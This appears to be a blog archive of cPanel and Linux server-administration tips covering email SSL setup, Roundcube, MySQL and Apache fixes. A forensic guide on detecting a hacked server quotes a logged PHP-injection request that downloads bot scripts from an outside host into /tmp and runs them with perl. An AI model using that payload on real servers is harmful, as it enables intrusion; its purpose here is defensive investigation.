Showing posts with label cPanel. Show all posts
Showing posts with label cPanel. Show all posts

SSL Email Settings - Outlook

0 comments
General Settings

You can use the following settings if you require Secure POP3, Secure IMAP4 or Secure SMTP over SSL.
POP3 over SSL Server: yourdomainname.com / mail.yourdomainname.com

POP3 over SSL Port: 995
IMAP4 over SSL Server: yourdomainname.com / mail.yourdomainname.com

IMAP4 over SSL Port: 993
SMTP over SSL Server: yourdomainname.com / mail.yourdomainname.com

SMTP over SSL Port: 465

You can authenticate on these servers using your full email address as the username and corresponding password.

SSL Settings Guides

Outlook 2010


You can follow these steps to change your Outlook 2010 email settings if you want to use our Secure servers for sending and receiving email.

  1. Open Outlook 2010

  2. From the File click on Account Settings and select Account SettingsYou'll then see all of your email accounts listed.

  3. Select the account you wish to modify and click Change

  4. Change the Incoming Mail Server (POP3) to yourdomainname.com / mail.yourdomainname.com and change the Outgoing Mail Server (SMTP) to yourdomainname.com / mail.yourdomainname.com

  5. Click on More Settings...

  6. Select the Advanced tab

  7. There are two check boxes labeled This server requires and encrypted connection (SSL). Check mark both check boxes.

  8. Change the Incoming Server (POP3) to 995. Change the Outgoing Server (SMTP) to 465.

  9. Click OK

  10. Click Next > and then Finish


 

 

How to change date and time zone in php

0 comments
If your php script is not showing correct date and time then it means your script is using date and time zone configured on your server.

If you want to set your own date and time zone for your domain then it can be done in a very simple manner.

You will need to create php.ini in document root of your domain.
nano php.ini

and enter following line.

date.timezone =Asia/Jakarta

save and exit from file.

Now create phpininfo page and open it in browser and you will see that date and time zone hve been enabled.

cPanel certificate error: Security issues? Why?

0 comments

Is your SSL valid?


This certificate in fact is valid and your connection is secured. This means that all data you exchange with our server is protected and nobody except you and our server know what you do in the cPanel.

But why do I get the "untrusted" message?


It looks untrusted to third-parties authorities. This is true, because the certificate was issued by us and but not them and they just can't verify it.

Disabling that annoying SSL reminder:


In FireFox


If you see the "This Connection is Untrusted" message

  1. Please click on "I understand the risks"

  2. and then click on the "Add exception" button that will appear

  3. Make sure the "Permanently store this exception" check-box is checked

  4. Click on "Confirm this security exception"


This will add our certificate to your operating system permanently and will not warn you anymore again for that particular site

In Internet Explorer



  1. Download our certificates: onetwo

  2. Extract the certificates from the archive to your hard disk

  3. Open Internet Explorer, select Tools and Internet Options

  4. Select the Content tab and click the Certificates button

  5. In the new Certificates window select the Trusted Root Certification Authorities tab

  6. Click Import..., Next, then select whmcertificate.crt, click Next and Finish

  7. When asked if you want to import a new certificate click YES

  8. Restart Internet Explorer

Cannot send emails- RoundCube just shows "Sending Message"

2 comments
I found a problem with Roundcube, it shows sending message and hangs up there and actually it doesn't send message anymore. I found the following solution here.


Problem with Roundcube, installed when updated to newest CURRENT release. - Page 3 - cPanel Forums:


vi /usr/local/cpanel/base/3rdparty/roundcube/config/main.inc.php

and changed

$rcmail_config['smtp_user'] = '%u';
to
$rcmail_config['smtp_user'] = '';

FIXED....

cPanel, Lxadmin or Direct Admin – Roundcube issues

0 comments
cPanel, Lxadmin or Direct Admin – Roundcube issues – SERVICE CURRENTLY NOT AVAILABLE! Error No. [500] / Error No. [0x01F4]

On cPanel, just update roundcube

/usr/local/cpanel/bin/update-roundcube --force

On Lxadmin, just re-install

rm /var/cache/lxadmin/lxwebmail*
lphp.exe ../bin/misc/installRoundCube.php
/script/upcp


On DirectAdmin

check logs   var/www/html/roundcube/logs/error

just deleted da_roundcube
and ./build roundcube

solved the problem

Missing HOST Config Line in /etc/wwwacct.conf, please reconfigure with Edit Setup

0 comments
Missing HOST Config Line in /etc/wwwacct.conf, please reconfigure with Edit Setup

If you are getting this error during account creation or account transfer

Account Creation Status: failed (Missing HOST Config Line in /etc/wwwacct.conf, please reconfigure with Edit Setup.)
Missing HOST Config Line in /etc/wwwacct.conf, please reconfigure with Edit Setup.

or Missing HOST Config Line in /etc/wwwacct.conf, please reconfigure with Edit Setup.


then this can be solved by editing /etc/wwwacct.conf file. Issue the following commands in ssh:

nano /etc/wwwacct.conf

Enter the server's hostname in HOST field.

Then press Ctrl+X and then Y.

How to Rebuild cPanel Bandwidth Graphs

0 comments
Cpanel 11.25 restructured the way that bandwidth RRD files are being processed, in that each service has two RRD files – one for peak, and one for rate.  The “peak” file is used for long timespans of a month or longer, and the “rate” file covers a timespan of a week or less.  The following is an example of files that would be created for domain.com:

domain
domain.com.5min
domain.com.hour
domain.com
domain.com.5min
domain.com.hour

Re rebuild the RRD databases for a user, run:
/usr/local/cpanel/bin/rebuildbwrrd <user>

To do this for the entire server:
/usr/local/cpanel/bin/rebuildbwrrd –all

Beware though that cPanel 11.25 requires a  bit more disk space for the new bandwidth graphs, so if you have /var on a separate partition and there won’t be enough room, I recommend doing the following:
mv /var/cpanel/bandwidth /home

ln -s /home/bandwidth /var/cpanel/bandwidth

You’re basically moving the bandwidth graphs to another location and linking them to /var/cpanel/bandwidth.

Fatal error - [Plugin Akismet] Error when activating plugin Akismet on WP 3.0

1 comments
When activated, the page plugin gives error:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 7680 bytes) in /home/improv/public_html/wp-includes/kses.php(550) : runtime-created function on line 1

Solution:-

First, try installing the Memory Bump plugin.

If that doesn't work, here are four more ways to increase PHP's memory allocation:
1. If you have access to your PHP.ini file, change the line in PHP.ini
If your line shows 32M try 64M:
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)

2. If you don't have access to PHP.ini try adding this to an .htaccess file:
php_value memory_limit 64M

3. Try adding this line to your wp-config.php file:
Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');

4. Talk to your host.


/var patition full, How to change Mysql database directory to another partition in cPanel

0 comments

Switch off the database server while we are moving the databases.

/etc/rc.d/init.d/mysql stop

I am considering that I have enough space in /home partition. Here goes my new database data directory as /home/mysql

Now it is better to copy the database first, rather than move.

cp -pr /var/lib/mysql /home
mv /var/lib/mysql /var/lib/mysql-bk

We are copying the database to the new location since it is better to revert back the settings with minimum downtime, if anything goes wrong.

move to /tmp

cd /tmp
unlink mysql.sock
ln -s /home/mysql/mysql.sock /tmp/mysql.sock

Take a backup of /etc/my.cnf

Now edit /etc/my.cnf

vi /etc/my.cnf

add the line
datadir=/home/mysql

If the socket file is specified, comment it out.

Now move to /var/lib/mysql and create a symblink

ln -s /home/mysql /var/lib/mysql

(Please note that you don’t specify the socket file location in my.cnf since it causes issues with phpMyadmin)

For, cPanel server, edit the phpMyadmin configuration
take a backup of “/usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php”

edit this file /usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php
vi /usr/local/cpanel/base/3rdparty/phpMyAdmin/config.inc.php

add the following lines. If they already exist, edit as below.
(the connect_type usually exist at “tcp” change it to “socket”)

$cfg['Servers'][$i]['socket'] = ‘/home/mysql/mysql.sock’;
$cfg['Servers'][$i]['connect_type'] = ’socket’;

Now start the database server.

/etc/rc.d/ini.d/mysql start

If it starts fine, you are done. Check the database connections of your site.
You can now remove the directory /var/lib/mysql-bk

Perl upgradation in cPanel servers

0 comments



Perl can be upgraded in cPanel severs using the following steps.

perl -MCPAN -e ‘autobundle’

cd /root

wget http://layer1.cpanel.net/perl588installer.tar.gz

<http://layer1.cpanel.net/perl588installer.tar.gz>

tar -zxf perl588installer.tar.gz

cd perl588installer

./install

/usr/local/cpanel/bin/checkperlmodules

/usr/local/cpanel/startup


Determine if a server is hacked

0 comments
This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

phpMyAdmin, ‘Error #2002 - The server is not responding’, and OS X 10.4.4

0 comments
Trying to install phpMyAdmin on a fresh OS X 10.4.4 install this afternoon was an incredible exercise in frustration. No matter what I did I kept getting the dreaded ‘Error 2002 - The server is not responding‘ error. Turns out the the location of mysql.sock has changed in this version of OS X; if you had all this working before upgrading then the OS was smart enough to detect it and create a sym link to the new location. However new installs, not so much.

Worked for me:

Open a terminal, type in

# ls -al /etc/php.ini*


If a php.ini does not exist copy over the default php.ini,

# cp /etc/php.ini.default /etc/php.ini


Now edit the php.ini

# nano /etc/php.ini (or use your prefered editor)

Find “mysql.default_socket” (you can search using [Ctrl]+[w] in nano)

Enter “/tmp/mysql.sock” after the equals sign.


Don’t forget to save the file ([Ctrl]+[o] [Enter] in nano)

Now restart Apache

# apachectl graceful

You need to install the LWP perl module (libwww-perl) and then install csf

1 comments
[root@server22 csf]# sh install.sh

Configuring for OS

Checking for perl modulesfailed
You need to install the LWP perl module (libwww-perl) and then install csf
[root@server22 csf]#

To fix the error, install libwww-perl

yum install perl-libwww-perl

Installing OpenX ad server

0 comments
Follow these simple instructions to install OpenX server

  1. Download the latest OpenX archive from openx.org and upload it to a folder in your hosting account. For example: /ads. We recommend creating a sub-domain for it. Something like: ads.your_domain.com

  2. Expand the OpenX archive and make sure all files are in the directory you created. If you're using cPanel use Extract utility from the File Manager and then move the extracted files to the installation folder

  3. Create a database and take a note of the database name, user name and user password. You will need them during the installation

  4. Set the 777 permissions on the following folders: /var and /images. You should do this from an FTP client and make sure to select recursive permission change. Otherwise, the installation script will give you an error.

  5. Open up the folder where you extracted OpenX to. This will launch the installation process.

  6. Follow the installation steps to finish everything up.


After this you can log in to OpenX and start learning it

We can install OpenX for you professionally. Feel free to contact us for a quote.

 

http://forums.spry.com/cpanel-whm/1268-never_users-list.html

0 comments
http://forums.spry.com/cpanel-whm/1268-never_users-list.html

ISAPI and CGI Restriction

0 comments
If you get the following error while accessing the URL,

The page you are requesting cannot be served because of the ISAPI and CGI Restriction list settings on the Web server.

Then follow the steps given below:

Login to the server >> IIS >> ISPAI and CGI Restrictions >> right click on asp dll file [C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll] >> Enable CGI and ISAPI >> Restart IIS service.

Hooks Do Not Execute

0 comments
We have added a feature to 11.25.0 that keeps track of what hooks are in use.  This new mechanism greatly improves speed within cPanel/WHM as it no longer has to check to see if a hook exists every time an API call is made.  Unfortunately the hooks.db file was unreadable by any user other than root.  If you notice that hooks are not executing on your server, please run

chmod 644 /var/cpanel/hooks.db

This issue will be fixed in the next update.

New cPanel 11.25.0 Installation Apache configuration syntax errors

0 comments
The release of 11.25.0-RELEASE_42399 and 11.25.0-CURRENT_42399 introduced a configurationissue that may cause Apache configuration syntax errors on servers with no accounts when the mod_userdir tweak is enabled. The condition will present itself upon addition of the first account to the server. This issue is quickly addressed by rebuilding the Apache configuration file.

Symptoms:
The following error can be seen in the cpanel error_log and when attempting to restart Apache:

UserDir "enable" keyword requires a list of usernames

Newly created websites would be sent to defaultwebpage.cgi instead of the appropriate document root.

Resolutions:
1) New builds, 11.25.0-CURRENT_42400 and 11.25.0-RELEASE_42400, have been published to address the issue. This issue will not be present on subsequent new installations. Upgrading a currently affected system will resolve this issue.

2) Rebuilding the Apache configuration after the addition of the first account will permanently resolve this issue.

From the command line:
/scripts/rebuildhttpdconf
/scripts/restartsrv_httpd

or

/scripts/autorepair userdir_enable_fix
/scripts/restartsrv_httpd


From the WHM:
Service Configuration -> Apache Configuration -> Global Configuration ->
Save -> Rebuild Configuration and Restart Apache

Note:
The Apache configuration may be rebuilt as a result of other changes made in the WHM. Your new installation may not experience this issue as a result the the Apache configuration being rebuilt automatically.

Useful Hidden cPanel Commands

0 comments
Have you ever locked yourself out of your server while making some iptables changes? What about when you change your SSH port and then forget what you set it to? These are both fairly common support requests that we receive at slhost. Fortunately, in many cases this is something our customer’s can fix on their end as long as they are using cPanel as their control panel.

cPanel comes with a number of ‘hidden’ autofix commands that allow for administrators to fix common problems simply be logging into WHM and going to a special URL. Two of the most useful ones I’ve seen are flushing iptables and restarting SSH in “safe mode” (basically the default settings and port).

Flushing iptables rules: http://mydomain.com:2086/scripts2/doautofixer?autofix=iptablesflush

Restart SSH in safe mode: http://mydomain.com:2086/scripts2/doautofixer?autofix=safesshrestart

Once you hit the URL you will be prompted to log in. Simply enter your root password and cPanel will do the rest. These have definitely saved me on more than one occasion when my attempt to ’secure’ my server worked a little too well.

* I should note that if you happen to also lock yourself out of WHM through iptables, you will not be able to hit the URL’s I mentioned.  In that case, contact support.

mod_layout Installation and Segmentation fault

0 comments
mod_layout is an Apache module that provides both a Footer and Header directive to automagically include output from other URIs at the beginning and ending of a Web page. It can be used to wrap documents for a standard look and feel for a site (or to insert banners on any given document in a site). Currently known to support mod_perl, PHP and Apache JServ. Should support just about any type of handler.

http://freshmeat.net/projects/mod_layout/

Today a client asked to install mod_layout on the server. This was already installed, but not working.

So i download and install it again.

wget http://www.tangent.org/download/mod_layout-3.2.1.tar.gz
tar zxvf mod_layout-3.2.1.tar.gz
cd mod_layout-3.2.1
make
make install

Now i edited httpd.conf

And added LayoutHeader and LayoutFooter Directive as below.

<virtualhost>
ServerAlias domainstobuy.com
ServerAdmin webmaster@domainstobuy.com
DocumentRoot /home/domains/public_html
BytesLog domlogs/domainstobuy.com-bytes_log
ServerName www.domainstobuy.com

User domains
Group domains
LayoutHeader /home/header.html
LayoutFooter /home/footer.html

CustomLog /usr/local/apache/domlogs/domainstobuy.com combined
ScriptAlias /cgi-bin/ /home/domains/public_html/cgi-bin/
</virtualhost>


Now restarted Apache

/usr/local/apache/bin/apachectl restart

But getting error like

/etc/init.d/httpd: line 308: 27959 Segmentation fault (core dumped) $HTTPD -t >/dev/null 2>&1
/etc/init.d/httpd restart: configuration broken, ignoring restart
/etc/init.d/httpd restart: (run 'apachectl configtest' for details)

The problem is corrected by Editing Makefile of mod_layout and reinstalling it.

cd mod_layout-3.2.1
vi Makefile

Then remove the option -DDEBUG

make
make install

/usr/local/apache/bin/apachectl restart